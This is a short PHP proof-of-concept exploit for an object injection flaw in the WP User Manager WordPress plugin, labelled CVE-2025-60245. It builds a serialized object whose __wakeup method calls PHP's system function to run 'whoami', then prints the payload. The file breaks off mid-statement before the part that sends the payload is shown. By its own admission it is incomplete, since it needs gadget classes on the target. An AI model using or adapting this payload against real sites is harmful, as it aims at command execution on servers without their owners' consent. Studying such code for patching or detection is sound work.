<?php /** * CVE-2025-60245 PoC - WP User Manager Object Injection * Target: WordPress with WP User Manager plugin <= 2.9.12 * Vulnerability: Deserialization of Untrusted Data * * This PoC demonstrates the object injection vulnerability by: * 1. Creating a malicious serialized payload with a PHP object * 2. Sending the payload to a vulnerable endpoint * * Note: Actual exploitation requires finding suitable gadget classes */ class MaliciousPayload { public $callback; public function __construct() { // Define malicious callback (e.g., system command execution) $this->callback = 'system'; } public function __wakeup() { // Automatically called during deserialization if (isset($this->callback)) { call_user_func($this->callback, 'whoami'); } } } // Generate malicious serialized payload $payload = serialize(new MaliciousPayload()); echo "Malicious Payload: " . $payload .
